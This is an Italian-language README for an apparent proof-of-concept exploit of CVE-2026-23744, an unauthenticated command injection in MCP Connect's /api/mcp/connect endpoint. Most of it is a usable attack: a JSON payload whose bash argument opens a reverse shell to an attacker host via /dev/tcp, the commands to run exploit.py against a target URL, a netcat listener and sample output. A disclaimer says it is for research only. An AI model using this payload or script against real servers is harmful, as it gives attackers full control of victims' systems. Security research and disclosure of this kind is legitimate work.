
Proof-of-concept exploit per CVE-2026-23744, un'iniezione di comandi non autenticata in MCP Connect che porta a esecuzione remota di codice e reverse shell.
⚠️ Disclaimer: Questo repository è solo a scopo educativo e di ricerca sulla sicurezza. L'uso di questo exploit contro sistemi senza autorizzazione esplicita è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo codice.
La vulnerabilità risiede nell'endpoint /api/mcp/connect, che consente a un attaccante non autenticato di registrare un server MCP (Model Context Protocol) arbitrario con una configurazione dannosa. Poiché non esiste alcuna validazione o sanitizzazione del campo command e dei relativi args, è possibile iniettare comandi del sistema operativo che vengono eseguiti direttamente sul server con i privilegi del processo web.
Ciò comporta una esecuzione remota di codice (RCE) che può essere sfruttata per ottenere una reverse shell sul sistema compromesso.
| Campo | Dettaglio |
|---|---|
| Tipo | Remote Code Execution (RCE) |
| Vettore | Rete (HTTP POST senza autenticazione) |
| Endpoint | /api/mcp/connect |
| Gravità | 🔴 Critica |
| Autenticazione | Non richiesta |
| Impatto | Controllo totale del server |
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
"env": {}
}
}
Il server elabora questa configurazione e invoca il comando bash con gli argomenti forniti, stabilendo una connessione TCP inversa verso l'attaccante.
pip install requests termcolor
python3 exploit.py -l <LA_TUA_IP> -u <URL_OBIETTIVO>
| Parametro | Descrizione | Esempio |
|---|---|---|
-l | La tua IP (dove riceverai la shell) | 192.168.1.50 |
-u | URL base dell'obiettivo | https://victim.com |
Terminale 1 — Listener:
nc -nlvp 443
Terminale 2 — Exploit:
python3 exploit.py -l 192.168.1.50 -u https://victim.com
[-] Please, execute the following command in another terminal:
[+] nc -nlvp 443
[-] Press 'Enter' when the command has been executed...
[+] Sending attack request...
Una volta inviata la richiesta, il listener sulla porta 443 riceverà la connessione inversa con una shell interattiva del server compromesso.
/api/mcp/connect prima di elaborarli..
├── exploit.py # Script principale dell'exploit
└── README.md # Questo file
Sviluppato a scopo di ricerca sulla sicurezza offensiva da Jorge Arana Fedriani.